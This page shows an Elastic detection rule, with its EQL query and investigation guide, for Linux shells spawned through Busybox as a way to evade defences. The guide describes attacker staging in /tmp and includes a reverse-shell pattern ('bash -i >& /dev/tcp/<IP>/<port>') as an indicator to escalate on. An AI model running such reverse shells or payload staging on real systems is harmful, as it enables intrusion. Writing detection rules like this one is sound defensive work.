Proxy Shell Execution via Busybox
Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to evade detection.
Elastic rule (View on GitHub)
1[metadata]
2creation_date = "2025/11/20"
3integration = ["endpoint"]
4maturity = "production"
5updated_date = "2025/11/24"
6
7[rule]
8author = ["Elastic"]
9description = """
10Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to
11evade detection.
12"""
13from = "now-9m"
14index = ["logs-endpoint.events.process*"]
15language = "eql"
16license = "Elastic License v2"
17name = "Proxy Shell Execution via Busybox"
18note = """ ## Triage and analysis
19
20> **Disclaimer**:
21> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
22
23### Investigating Proxy Shell Execution via Busybox
24
25This rule identifies Linux shells started via Busybox, indicating proxy execution to sidestep controls that focus on direct shell binaries. Adversaries leverage Busybox’s ubiquity and static build to blend in, obscure parentage, and run commands in constrained or minimal environments. A common pattern is copying a standalone busybox into /tmp on a container or embedded host, making it executable, then invoking busybox sh to run one-liners, pull payloads, and stage persistence.
26
27### Possible investigation steps
28
29- Correlate the event to a user session or container exec by pivoting to TTY/session ID, SSH auth logs, and Kubernetes/Docker exec audits to verify whether it was an authorized action.
30- Determine Busybox provenance by checking its path and file metadata (non-standard location, recent write, unusual owner/capabilities or symlink), confirming package ownership, and hashing against trusted repositories and threat intelligence.
31- Expand the process tree 10–15 minutes around the event to find staging steps (curl/wget/tftp, chmod, mv) and post-shell behavior (reverse shells, crypto miners, persistence writes).
32- Collect live context for the shell (current working directory, environment, open sockets, controlling TTY, effective user) to quickly decide if it is interactive misuse or command staging.
33- Hunt across hosts for similar Busybox-to-shell chains and review persistence artifacts and new files in writable dirs (crontab, systemd units, rc files, authorized_keys, /tmp, /dev/shm) to catch follow-on activity.
34
35### False positive analysis
36
37- An administrator performing recovery on a minimal host may copy a static busybox and start an interactive sh with no arguments for troubleshooting, producing a busybox-to-shell chain that is expected.
38- Legitimate privilege-switch or login workflows using Busybox applets (e.g., su or login) can spawn a bare sh without -c for an authenticated session, so confirm a controlling TTY, expected user, and standard paths before treating it as malicious.
39
40### Response and remediation
41
42- Immediately isolate the impacted host or container at the network level, terminate any shells whose parent is busybox, and block outbound traffic initiated by those shells (e.g., nc, curl/wget, ssh to unknown IPs).
43- Identify and remove rogue busybox copies or symlinks in writable locations such as /tmp, /var/tmp, and /dev/shm by revoking execute permissions or deleting them, and capture file hashes, paths, and mtimes for evidence.
44- Remove persistence and droppers created by the busybox-spawned shell by cleaning newly added cron entries under /etc/cron.*, systemd units in /etc/systemd/system, rc.local edits, and suspicious authorized_keys or ~/.bashrc/.profile changes, then reboot if kernel modules or LD_PRELOAD were modified.
45- Reset passwords, rotate SSH keys and tokens used in the session, rebuild affected containers from clean images or reimage hosts if system binaries were changed, and restore services only after verifying no busybox-to-shell chains launch at startup.
46- Escalate to incident response if the busybox-launched shell ran as root, established a reverse connection (e.g., bash -i >& /dev/tcp/<IP>/<port>), created SUID files, or dropped payloads in /tmp, /var/tmp, or /dev/shm, or if a new busybox binary was downloaded or touched minutes before execution.
47- Harden by enforcing noexec,nosuid,nodev mounts on /tmp and /var/tmp, constraining busybox with AppArmor/SELinux to block spawning interactive shells or execution from world-writable paths, locking down container runtime exec and capabilities (e.g., disable kubectl/docker exec for non-admins, remove CAP_SYS_ADMIN), and implementing file integrity monitoring on busybox and standard shells.
48"""
49references = ["https://gtfobins.github.io/gtfobins/busybox/"]
50risk_score = 21
51rule_id = "5134be90-42c1-4ac7-859c-4d82caaddbec"
52setup = """## Setup
53
54This rule requires data coming in from Elastic Defend.
55
56### Elastic Defend Integration Setup
57Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
58
59#### Prerequisite Requirements:
60- Fleet is required for Elastic Defend.
61- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
62
63#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
64- Go to the Kibana home page and click "Add integrations".
65- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
66- Click "Add Elastic Defend".
67- Configure the integration name and optionally add a description.
68- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
69- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
70- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
71- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
72For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
73- Click "Save and Continue".
74- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
75For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
76"""
77severity = "low"
78tags = [
79 "Domain: Endpoint",
80 "OS: Linux",
81 "Use Case: Threat Detection",
82 "Tactic: Defense Evasion",
83 "Tactic: Execution",
84 "Data Source: Elastic Defend",
85 "Resources: Investigation Guide",
86]
87timestamp_override = "event.ingested"
88type = "eql"
89query = '''
90process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "busybox" and
91process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
92process.command_line in ("bash", "bash-", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
93not (
94 process.args == "-c" or
95 process.parent.args : (
96 "crond", "/usr/sbin/crond", "/local-registrator.sh", "/var/atlassian/application-data/bamboo-agent*"
97 ) or
98 process.parent.command_line in (
99 "sh /readonly-config/fix-split-brain.sh",
100 "/bin/sh -c /health-check.sh || bash -c 'kill -s 15 $(pidof siridb-server) && (sleep 10; kill -s 9 $(pidof siridb-server))'"
101 ) or
102 process.command_line == "bash /etc/kafka/docker/run" or
103 process.parent.command_line like (
104 "/bin/sh -c apk add*", "/bin/sh -c crm-cron-enabled*", "udhcpc -n -p /run/udhcpc.*", "flock -x*"
105 ) or
106 process.working_directory == "/usr/share/grafana"
107)
108'''
109
110[[rule.threat]]
111framework = "MITRE ATT&CK"
112
113 [rule.threat.tactic]
114 name = "Defense Evasion"
115 id = "TA0005"
116 reference = "https://attack.mitre.org/tactics/TA0005/"
117
118 [[rule.threat.technique]]
119 id = "T1218"
120 name = "System Binary Proxy Execution"
121 reference = "https://attack.mitre.org/techniques/T1218/"
122
123[[rule.threat]]
124framework = "MITRE ATT&CK"
125
126 [rule.threat.tactic]
127 name = "Execution"
128 id = "TA0002"
129 reference = "https://attack.mitre.org/tactics/TA0002/"
130
131 [[rule.threat.technique]]
132 id = "T1059"
133 name = "Command and Scripting Interpreter"
134 reference = "https://attack.mitre.org/techniques/T1059/"
135
136 [[rule.threat.technique.subtechnique]]
137 name = "Unix Shell"
138 id = "T1059.004"
139 reference = "https://attack.mitre.org/techniques/T1059/004/"
Triage and analysis
Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
Investigating Proxy Shell Execution via Busybox
This rule identifies Linux shells started via Busybox, indicating proxy execution to sidestep controls that focus on direct shell binaries. Adversaries leverage Busybox’s ubiquity and static build to blend in, obscure parentage, and run commands in constrained or minimal environments. A common pattern is copying a standalone busybox into /tmp on a container or embedded host, making it executable, then invoking busybox sh to run one-liners, pull payloads, and stage persistence.
Possible investigation steps
- Correlate the event to a user session or container exec by pivoting to TTY/session ID, SSH auth logs, and Kubernetes/Docker exec audits to verify whether it was an authorized action.
- Determine Busybox provenance by checking its path and file metadata (non-standard location, recent write, unusual owner/capabilities or symlink), confirming package ownership, and hashing against trusted repositories and threat intelligence.
- Expand the process tree 10–15 minutes around the event to find staging steps (curl/wget/tftp, chmod, mv) and post-shell behavior (reverse shells, crypto miners, persistence writes).
- Collect live context for the shell (current working directory, environment, open sockets, controlling TTY, effective user) to quickly decide if it is interactive misuse or command staging.
- Hunt across hosts for similar Busybox-to-shell chains and review persistence artifacts and new files in writable dirs (crontab, systemd units, rc files, authorized_keys, /tmp, /dev/shm) to catch follow-on activity.
False positive analysis
- An administrator performing recovery on a minimal host may copy a static busybox and start an interactive sh with no arguments for troubleshooting, producing a busybox-to-shell chain that is expected.
- Legitimate privilege-switch or login workflows using Busybox applets (e.g., su or login) can spawn a bare sh without -c for an authenticated session, so confirm a controlling TTY, expected user, and standard paths before treating it as malicious.
Response and remediation
- Immediately isolate the impacted host or container at the network level, terminate any shells whose parent is busybox, and block outbound traffic initiated by those shells (e.g., nc, curl/wget, ssh to unknown IPs).
- Identify and remove rogue busybox copies or symlinks in writable locations such as /tmp, /var/tmp, and /dev/shm by revoking execute permissions or deleting them, and capture file hashes, paths, and mtimes for evidence.
- Remove persistence and droppers created by the busybox-spawned shell by cleaning newly added cron entries under /etc/cron.*, systemd units in /etc/systemd/system, rc.local edits, and suspicious authorized_keys or ~/.bashrc/.profile changes, then reboot if kernel modules or LD_PRELOAD were modified.
- Reset passwords, rotate SSH keys and tokens used in the session, rebuild affected containers from clean images or reimage hosts if system binaries were changed, and restore services only after verifying no busybox-to-shell chains launch at startup.
- Escalate to incident response if the busybox-launched shell ran as root, established a reverse connection (e.g., bash -i >& /dev/tcp/
/ ), created SUID files, or dropped payloads in /tmp, /var/tmp, or /dev/shm, or if a new busybox binary was downloaded or touched minutes before execution. - Harden by enforcing noexec,nosuid,nodev mounts on /tmp and /var/tmp, constraining busybox with AppArmor/SELinux to block spawning interactive shells or execution from world-writable paths, locking down container runtime exec and capabilities (e.g., disable kubectl/docker exec for non-admins, remove CAP_SYS_ADMIN), and implementing file integrity monitoring on busybox and standard shells.
References
Related rules
- Curl or Wget Egress Network Connection via LoLBin
- Base64 Decoded Payload Piped to Interpreter
- Git Hook Command Execution
- Node.js Pre or Post-Install Script Execution
- Potential Hex Payload Execution via Command-Line